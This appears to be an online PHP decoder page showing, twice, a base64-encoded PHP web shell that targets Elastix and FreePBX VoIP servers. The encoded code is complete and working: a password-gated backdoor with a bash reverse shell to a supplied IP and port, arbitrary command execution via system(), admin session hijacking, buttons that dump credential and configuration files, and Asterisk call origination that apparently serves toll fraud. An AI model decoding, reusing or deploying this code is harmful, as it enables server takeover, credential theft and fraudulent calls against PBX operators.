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PHP Decode

c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J1..

Decoded Output download

<?  c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICc3M2M5ZDk1NDNkM2U2ZjljODk2YzAzMDRhZmRiN2Y0YScpIHsKICAgICRfU0VTU0lPTlsnSlVCQVZPSVAnXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydKVUJBVk9JUCddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIiAvPic7CiAgICBlY2hvICc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJKVUJBVk9JUCIgdmFsdWU9IkpVQkFWT0lQIiAvPiAnOwogICAgZWNobyAnPC9mb3JtPic7CiAgICBlY2hvICc8PyAtLSBKVUJBVk9JUDoxNDkuMjguMTI2LjY0IC0tID8+JzsKICAgIGV4aXQoKTsKfQppZiAoaXNzZXQoJF9SRVFVRVNUWydpcCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3BvcnQnXSkpIHsKICAgICRzb2NrID0gZnNvY2tvcGVuKCRfUkVRVUVTVFsnaXAnXSwgJF9SRVFVRVNUWydwb3J0J10pOwogICAgJHByb2MgPSBwcm9jX29wZW4oInB5dGhvbiAtYyAnaW1wb3J0IHB0eTsgcHR5LnNwYXduKFwiYmFzaFwiKSciLCBhcnJheSgwID0+ICRzb2NrLCAxID0+ICRzb2NrLCAyID0+ICRzb2NrKSwgJHBpcGVzKTsKfQppZiAoaXNzZXQoJF9SRVFVRVNUWydhZG1pbiddKSAmJiAkX1JFUVVFU1RbJ2FkbWluJ10gPT0gJ0VsYXN0aXgnKSB7CiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsKICAgIHNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsKICAgIHNlc3Npb25fc3RhcnQoKTsKICAgICRfU0VTU0lPTlsnSlVCQVZPSVAnXSA9ICdsb2dnZWQnOwogICAgaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsKICAgIGluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOwogICAgJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7CiAgICAkZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsKICAgICRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07CiAgICAkX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOwogICAgaGVhZGVyKCJMb2NhdGlvbjogL2luZGV4LnBocCIpOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2FkbWluJ10pICYmICRfUkVRVUVTVFsnYWRtaW4nXSA9PSAnRnJlZXBieCcpIHsKICAgIGlmICghQGluY2x1ZGVfb25jZShnZXRlbnYoJ0ZSRUVQQlhfQ09ORicpID8gZ2V0ZW52KCdGUkVFUEJYX0NPTkYnKSA6ICcvZXRjL2ZyZWVwYnguY29uZicpKSB7CiAgICAgICAgaW5jbHVkZV9vbmNlKCcvZXRjL2FzdGVyaXNrL2ZyZWVwYnguY29uZicpOwogICAgfQogICAgcmVxdWlyZV9vbmNlKCcvdmFyL3d3dy9odG1sL2FkbWluL2xpYnJhcmllcy9hbXB1c2VyLmNsYXNzLnBocCcpOwogICAgJF9TRVNTSU9OWydBTVBfdXNlciddID0gbmV3IGFtcHVzZXIoJGFtcF9jb25mWydBTVBEQlVTRVInXSk7CiAgICAkX1NFU1NJT05bJ0FNUF91c2VyJ10tPnNldEFkbWluKCk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiAvYWRtaW4vY29uZmlnLnBocCIpOwp9CmlmICghaXNzZXQoJF9SRVFVRVNUWydxJ10pKSB7CiAgICBlY2hvIGJhc2U2NF9kZWNvZGUoJ1BHZ3hJSE4wZVd4bFBTSjBaWGgwTFdGc2FXZHVPaUJqWlc1MFpYSTdJajR0U2xWQ1FWWlBTVkF0UEM5b01UNEtQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0krQ2lBZ0lDQThZajVEUVV4TVBDOWlQaUE4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYm1GdFpUMGlZMjl1ZEdWNGRDSWdkbUZzZFdVOUltRnpkR1Z5YVhOckxXOTFkR05oYkd4eklpQXZQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW5ScGJXVWlJSFpoYkhWbFBTSTJNQ0lnTHo0S0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJ1WVcxbFBTSndjbk1pSUhaaGJIVmxQU0l3TUNJZ0x6NEtJQ0FnSUR4cGJuQjFkQ0IwZVhCbFBTSjBaWGgwSWlCdVlXMWxQU0p1ZFcwaUlIQnNZV05sYUc5c1pHVnlQU0p1ZFcxaVpYSWlJQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmpZV3hzSWlCMllXeDFaVDBpWTJGc2JDSWdMejRLUEM5bWIzSnRQanhpY2lBdlBnbzhabTl5YlNCaFkzUnBiMjQ5SWlJZ2JXVjBhRzlrUFNKd2IzTjBJajRLSUNBZ0lEeGlQbEpGVmtWU1UwVWdVMGhGVEV3OEwySStDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2JtRnRaVDBpYVhBaUlIQnNZV05sYUc5c1pHVnlQU0l3TGpBdU1DNHdJaUF2UGdvZ0lDQWdQR2x1Y0hWMElIUjVjR1U5SW5SbGVIUWlJRzVoYldVOUluQnZjblFpSUhaaGJIVmxQU0k0TURnd0lpQXZQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaVkyRnNiQ0lnZG1Gc2RXVTlJa052Ym01bFkzUWlJQzgrQ2p3dlptOXliVDRLUEdKeUlDOCtDanhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpUGdvZ0lDQWdQR0krUTAxRVBDOWlQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW1OdFpDSWdjMmw2WlQwbk9EQW5JQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmxlR1ZqZFhSbElpQjJZV3gxWlQwaVJYaGxZM1YwWlNJZ0x6NEtJQ0FnSUR4b2NpQXZQZ29nSUNBZ1BHSjFkSFJ2YmlCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltTnRaQ0lnZG1Gc2RXVTlJbXh6SUMxc1lTSStUR2x6ZENCR2FXeGxQQzlpZFhSMGIyNCtDaUFnUEdKMWRIUnZiaUIwZVhCbFBTSnpkV0p0YVhRaUlHNWhiV1U5SW1OdFpDSWdkbUZzZFdVOUlteHpJQzFzWVNBdmRtRnlMM2QzZHk5b2RHMXNMeUkrVEdsemRDQm9kRzFzUEM5aWRYUjBiMjQrQ2lBZ0lDQThZblYwZEc5dUlIUjVjR1U5SW5OMVltMXBkQ0lnYm1GdFpUMGlZMjFrSWlCMllXeDFaVDBpY0hNZ0xXRjFlQ0F0TFdadmNtVnpkQ0krVUhKdlkyTmxjM01nVEdsemREd3ZZblYwZEc5dVBnb2dJQ0FnUEdKMWRIUnZiaUIwZVhCbFBTSnpkV0p0YVhRaUlHNWhiV1U5SW1OdFpDSWdkbUZzZFdVOUlteGhjM1FpUGt4aGMzUThMMkoxZEhSdmJqNEtJQ0FnSUR4aWRYUjBiMjRnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKamJXUWlJSFpoYkhWbFBTZHRlWE54YkNBdExYVnpaWEk5SW5KdmIzUWlJQzB0Y0dGemMzZHZjbVE5SWlJZ0xTMWtZWFJoWW1GelpUMGlZWE4wWlhKcGMyc2lJQzFsSUNKelpXeGxZM1FnS2lCbWNtOXRJR0Z0Y0hWelpYSnpJRnhIT3lJN0p6NUJiWEIxYzJWeWN6d3ZZblYwZEc5dVBnb2dJQ0FnUEdKMWRIUnZiaUIwZVhCbFBTSnpkV0p0YVhRaUlHNWhiV1U5SW1OdFpDSWdkbUZzZFdVOUltTmhkQ0F2WlhSakwzQmhjM04zWkNCOElHZHlaWEFnYzJna0lqNVFZWE56ZDJROEwySjFkSFJ2Ymo0S0lDQWdJRHhpZFhSMGIyNGdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKamNtOXVkR0ZpSUMxc0lqNURjbTl1ZEdGaVBDOWlkWFIwYjI0K0NpQWdJQ0E4WW5WMGRHOXVJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWTIxa0lpQjJZV3gxWlQwaVlYTjBaWEpwYzJzZ0xYSjRJQ2RqYjNKbElITm9iM2NnWTJoaGJtNWxiSE1uSWo1VGFHOTNJRU5vWVc1dVpXeHpQQzlpZFhSMGIyNCtDaUFnSUNBOFluVjBkRzl1SUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaVkyMWtJaUIyWVd4MVpUMGlZWE4wWlhKcGMyc2dMWEo0SUNkemFYQWdjMmh2ZHlCd1pXVnljeWNpUGxOcGNDQlFaV1Z5Y3p3dlluVjBkRzl1UGdvZ0lDQWdQR0oxZEhSdmJpQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbU50WkNJZ2RtRnNkV1U5SW1GemRHVnlhWE5ySUMxeWVDQW5jR3B6YVhBZ2MyaHZkeUJ5WldkcGMzUnlZWFJwYjI1ekp5SStVRXBUYVhBZ1VtVm5hWE4wY21GMGFXOXVjend2WW5WMGRHOXVQZ29nSUNBZ1BHSjFkSFJ2YmlCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltTnRaQ0lnZG1Gc2RXVTlJbU5oZENBdlpYUmpMMkZ6ZEdWeWFYTnJMM0JxYzJsd0tpSStVRXBUU1ZBOEwySjFkSFJ2Ymo0S0lDQWdJRHhpZFhSMGIyNGdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKallYUWdMMlYwWXk5aGMzUmxjbWx6YXk5emFYQmZZV1JrYVhScGIyNWhiQzVqYjI1bUlqNVRTVkFnUVdSa2FYUnBiMjVoYkR3dlluVjBkRzl1UGdvZ0lDQWdQR0oxZEhSdmJpQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbU50WkNJZ2RtRnNkV1U5SW1OaGRDQXZaWFJqTDJGemRHVnlhWE5yTDJWNGRHVnVjMmx2Ym5OZlkzVnpkRzl0TG1OdmJtWWlQa1Y0ZEdWdWMybHZibk04TDJKMWRIUnZiajRLSUNBZ0lEeGlkWFIwYjI0Z2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmpiV1FpSUhaaGJIVmxQU0pqWVhRZ0wyVjBZeTlsYkdGemRHbDRMbU52Ym1ZaVBrVnNZWE4wYVhndVkyOXVaand2WW5WMGRHOXVQZ29nSUNBZ1BHSjFkSFJ2YmlCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltTnRaQ0lnZG1Gc2RXVTlJbU5oZENBdlpYUmpMMmx6YzJGaWJHVXVZMjl1WmlJK1NYTnpZV0pzWlM1amIyNW1QQzlpZFhSMGIyNCtDaUFnSUNBOFluVjBkRzl1SUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaVkyMWtJaUIyWVd4MVpUMGlZMkYwSUM5bGRHTXZZVzF3YjNKMFlXd3VZMjl1WmlJK1lXMXdiM0owWVd3dVkyOXVaand2WW5WMGRHOXVQZ284TDJadmNtMCtDanhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUltZGxkQ0krQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmhaRzFwYmlJZ2RtRnNkV1U5SWtWc1lYTjBhWGdpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0poWkcxcGJpSWdkbUZzZFdVOUlrWnlaV1Z3WW5naUlDOCtDand2Wm05eWJUNEtQSEJ5WlQ0PScpOwogICAgZWNobyAnPHByZT4nOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSkgewogICAgZWNobyBzeXN0ZW0oJF9SRVFVRVNUWydjbWQnXSk7Cn0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnY2FsbCddKSkgewogICAgc3lzdGVtKCdhc3RlcmlzayAtcnggImNoYW5uZWwgb3JpZ2luYXRlIExvY2FsLycgLiAkX1JFUVVFU1RbJ3BycyddIC4gJF9SRVFVRVNUWydudW0nXSAuICdAJyAuICRfUkVRVUVTVFsnY29udGV4dCddIC4gJyBhcHBsaWNhdGlvbiB3YWl0ICcgLiAkX1JFUVVFU1RbJ3RpbWUnXSAuICciJyk7Cn0K ?>

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Original Code

c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICc3M2M5ZDk1NDNkM2U2ZjljODk2YzAzMDRhZmRiN2Y0YScpIHsKICAgICRfU0VTU0lPTlsnSlVCQVZPSVAnXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydKVUJBVk9JUCddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIiAvPic7CiAgICBlY2hvICc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJKVUJBVk9JUCIgdmFsdWU9IkpVQkFWT0lQIiAvPiAnOwogICAgZWNobyAnPC9mb3JtPic7CiAgICBlY2hvICc8PyAtLSBKVUJBVk9JUDoxNDkuMjguMTI2LjY0IC0tID8+JzsKICAgIGV4aXQoKTsKfQppZiAoaXNzZXQoJF9SRVFVRVNUWydpcCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3BvcnQnXSkpIHsKICAgICRzb2NrID0gZnNvY2tvcGVuKCRfUkVRVUVTVFsnaXAnXSwgJF9SRVFVRVNUWydwb3J0J10pOwogICAgJHByb2MgPSBwcm9jX29wZW4oInB5dGhvbiAtYyAnaW1wb3J0IHB0eTsgcHR5LnNwYXduKFwiYmFzaFwiKSciLCBhcnJheSgwID0+ICRzb2NrLCAxID0+ICRzb2NrLCAyID0+ICRzb2NrKSwgJHBpcGVzKTsKfQppZiAoaXNzZXQoJF9SRVFVRVNUWydhZG1pbiddKSAmJiAkX1JFUVVFU1RbJ2FkbWluJ10gPT0gJ0VsYXN0aXgnKSB7CiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsKICAgIHNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsKICAgIHNlc3Npb25fc3RhcnQoKTsKICAgICRfU0VTU0lPTlsnSlVCQVZPSVAnXSA9ICdsb2dnZWQnOwogICAgaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsKICAgIGluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOwogICAgJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7CiAgICAkZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsKICAgICRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07CiAgICAkX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOwogICAgaGVhZGVyKCJMb2NhdGlvbjogL2luZGV4LnBocCIpOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2FkbWluJ10pICYmICRfUkVRVUVTVFsnYWRtaW4nXSA9PSAnRnJlZXBieCcpIHsKICAgIGlmICghQGluY2x1ZGVfb25jZShnZXRlbnYoJ0ZSRUVQQlhfQ09ORicpID8gZ2V0ZW52KCdGUkVFUEJYX0NPTkYnKSA6ICcvZXRjL2ZyZWVwYnguY29uZicpKSB7CiAgICAgICAgaW5jbHVkZV9vbmNlKCcvZXRjL2FzdGVyaXNrL2ZyZWVwYnguY29uZicpOwogICAgfQogICAgcmVxdWlyZV9vbmNlKCcvdmFyL3d3dy9odG1sL2FkbWluL2xpYnJhcmllcy9hbXB1c2VyLmNsYXNzLnBocCcpOwogICAgJF9TRVNTSU9OWydBTVBfdXNlciddID0gbmV3IGFtcHVzZXIoJGFtcF9jb25mWydBTVBEQlVTRVInXSk7CiAgICAkX1NFU1NJT05bJ0FNUF91c2VyJ10tPnNldEFkbWluKCk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiAvYWRtaW4vY29uZmlnLnBocCIpOwp9CmlmICghaXNzZXQoJF9SRVFVRVNUWydxJ10pKSB7CiAgICBlY2hvIGJhc2U2NF9kZWNvZGUoJ1BHZ3hJSE4wZVd4bFBTSjBaWGgwTFdGc2FXZHVPaUJqWlc1MFpYSTdJajR0U2xWQ1FWWlBTVkF0UEM5b01UNEtQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0krQ2lBZ0lDQThZajVEUVV4TVBDOWlQaUE4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYm1GdFpUMGlZMjl1ZEdWNGRDSWdkbUZzZFdVOUltRnpkR1Z5YVhOckxXOTFkR05oYkd4eklpQXZQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW5ScGJXVWlJSFpoYkhWbFBTSTJNQ0lnTHo0S0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJ1WVcxbFBTSndjbk1pSUhaaGJIVmxQU0l3TUNJZ0x6NEtJQ0FnSUR4cGJuQjFkQ0IwZVhCbFBTSjBaWGgwSWlCdVlXMWxQU0p1ZFcwaUlIQnNZV05sYUc5c1pHVnlQU0p1ZFcxaVpYSWlJQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmpZV3hzSWlCMllXeDFaVDBpWTJGc2JDSWdMejRLUEM5bWIzSnRQanhpY2lBdlBnbzhabTl5YlNCaFkzUnBiMjQ5SWlJZ2JXVjBhRzlrUFNKd2IzTjBJajRLSUNBZ0lEeGlQbEpGVmtWU1UwVWdVMGhGVEV3OEwySStDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2JtRnRaVDBpYVhBaUlIQnNZV05sYUc5c1pHVnlQU0l3TGpBdU1DNHdJaUF2UGdvZ0lDQWdQR2x1Y0hWMElIUjVjR1U5SW5SbGVIUWlJRzVoYldVOUluQnZjblFpSUhaaGJIVmxQU0k0TURnd0lpQXZQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaVkyRnNiQ0lnZG1Gc2RXVTlJa052Ym01bFkzUWlJQzgrQ2p3dlptOXliVDRLUEdKeUlDOCtDanhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpUGdvZ0lDQWdQR0krUTAxRVBDOWlQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW1OdFpDSWdjMmw2WlQwbk9EQW5JQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmxlR1ZqZFhSbElpQjJZV3gxWlQwaVJYaGxZM1YwWlNJZ0x6NEtJQ0FnSUR4b2NpQXZQZ29nSUNBZ1BHSjFkSFJ2YmlCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltTnRaQ0lnZG1Gc2RXVTlJbXh6SUMxc1lTSStUR2x6ZENCR2FXeGxQQzlpZFhSMGIyNCtDaUFnUEdKMWRIUnZiaUIwZVhCbFBTSnpkV0p0YVhRaUlHNWhiV1U5SW1OdFpDSWdkbUZzZFdVOUlteHpJQzFzWVNBdmRtRnlMM2QzZHk5b2RHMXNMeUkrVEdsemRDQm9kRzFzUEM5aWRYUjBiMjQrQ2lBZ0lDQThZblYwZEc5dUlIUjVjR1U5SW5OMVltMXBkQ0lnYm1GdFpUMGlZMjFrSWlCMllXeDFaVDBpY0hNZ0xXRjFlQ0F0TFdadmNtVnpkQ0krVUhKdlkyTmxjM01nVEdsemREd3ZZblYwZEc5dVBnb2dJQ0FnUEdKMWRIUnZiaUIwZVhCbFBTSnpkV0p0YVhRaUlHNWhiV1U5SW1OdFpDSWdkbUZzZFdVOUlteGhjM1FpUGt4aGMzUThMMkoxZEhSdmJqNEtJQ0FnSUR4aWRYUjBiMjRnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKamJXUWlJSFpoYkhWbFBTZHRlWE54YkNBdExYVnpaWEk5SW5KdmIzUWlJQzB0Y0dGemMzZHZjbVE5SWlJZ0xTMWtZWFJoWW1GelpUMGlZWE4wWlhKcGMyc2lJQzFsSUNKelpXeGxZM1FnS2lCbWNtOXRJR0Z0Y0hWelpYSnpJRnhIT3lJN0p6NUJiWEIxYzJWeWN6d3ZZblYwZEc5dVBnb2dJQ0FnUEdKMWRIUnZiaUIwZVhCbFBTSnpkV0p0YVhRaUlHNWhiV1U5SW1OdFpDSWdkbUZzZFdVOUltTmhkQ0F2WlhSakwzQmhjM04zWkNCOElHZHlaWEFnYzJna0lqNVFZWE56ZDJROEwySjFkSFJ2Ymo0S0lDQWdJRHhpZFhSMGIyNGdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKamNtOXVkR0ZpSUMxc0lqNURjbTl1ZEdGaVBDOWlkWFIwYjI0K0NpQWdJQ0E4WW5WMGRHOXVJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWTIxa0lpQjJZV3gxWlQwaVlYTjBaWEpwYzJzZ0xYSjRJQ2RqYjNKbElITm9iM2NnWTJoaGJtNWxiSE1uSWo1VGFHOTNJRU5vWVc1dVpXeHpQQzlpZFhSMGIyNCtDaUFnSUNBOFluVjBkRzl1SUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaVkyMWtJaUIyWVd4MVpUMGlZWE4wWlhKcGMyc2dMWEo0SUNkemFYQWdjMmh2ZHlCd1pXVnljeWNpUGxOcGNDQlFaV1Z5Y3p3dlluVjBkRzl1UGdvZ0lDQWdQR0oxZEhSdmJpQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbU50WkNJZ2RtRnNkV1U5SW1GemRHVnlhWE5ySUMxeWVDQW5jR3B6YVhBZ2MyaHZkeUJ5WldkcGMzUnlZWFJwYjI1ekp5SStVRXBUYVhBZ1VtVm5hWE4wY21GMGFXOXVjend2WW5WMGRHOXVQZ29nSUNBZ1BHSjFkSFJ2YmlCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltTnRaQ0lnZG1Gc2RXVTlJbU5oZENBdlpYUmpMMkZ6ZEdWeWFYTnJMM0JxYzJsd0tpSStVRXBUU1ZBOEwySjFkSFJ2Ymo0S0lDQWdJRHhpZFhSMGIyNGdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKallYUWdMMlYwWXk5aGMzUmxjbWx6YXk5emFYQmZZV1JrYVhScGIyNWhiQzVqYjI1bUlqNVRTVkFnUVdSa2FYUnBiMjVoYkR3dlluVjBkRzl1UGdvZ0lDQWdQR0oxZEhSdmJpQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbU50WkNJZ2RtRnNkV1U5SW1OaGRDQXZaWFJqTDJGemRHVnlhWE5yTDJWNGRHVnVjMmx2Ym5OZlkzVnpkRzl0TG1OdmJtWWlQa1Y0ZEdWdWMybHZibk04TDJKMWRIUnZiajRLSUNBZ0lEeGlkWFIwYjI0Z2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmpiV1FpSUhaaGJIVmxQU0pqWVhRZ0wyVjBZeTlsYkdGemRHbDRMbU52Ym1ZaVBrVnNZWE4wYVhndVkyOXVaand2WW5WMGRHOXVQZ29nSUNBZ1BHSjFkSFJ2YmlCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltTnRaQ0lnZG1Gc2RXVTlJbU5oZENBdlpYUmpMMmx6YzJGaWJHVXVZMjl1WmlJK1NYTnpZV0pzWlM1amIyNW1QQzlpZFhSMGIyNCtDaUFnSUNBOFluVjBkRzl1SUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaVkyMWtJaUIyWVd4MVpUMGlZMkYwSUM5bGRHTXZZVzF3YjNKMFlXd3VZMjl1WmlJK1lXMXdiM0owWVd3dVkyOXVaand2WW5WMGRHOXVQZ284TDJadmNtMCtDanhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUltZGxkQ0krQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmhaRzFwYmlJZ2RtRnNkV1U5SWtWc1lYTjBhWGdpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0poWkcxcGJpSWdkbUZzZFdVOUlrWnlaV1Z3WW5naUlDOCtDand2Wm05eWJUNEtQSEJ5WlQ0PScpOwogICAgZWNobyAnPHByZT4nOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSkgewogICAgZWNobyBzeXN0ZW0oJF9SRVFVRVNUWydjbWQnXSk7Cn0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnY2FsbCddKSkgewogICAgc3lzdGVtKCdhc3RlcmlzayAtcnggImNoYW5uZWwgb3JpZ2luYXRlIExvY2FsLycgLiAkX1JFUVVFU1RbJ3BycyddIC4gJF9SRVFVRVNUWydudW0nXSAuICdAJyAuICRfUkVRVUVTVFsnY29udGV4dCddIC4gJyBhcHBsaWNhdGlvbiB3YWl0ICcgLiAkX1JFUVVFU1RbJ3RpbWUnXSAuICciJyk7Cn0K

Function Calls

None

Variables

None

Stats

MD5 c1e9806e62b07a16827a1621be3581ce
Eval Count 0
Decode Time 308 ms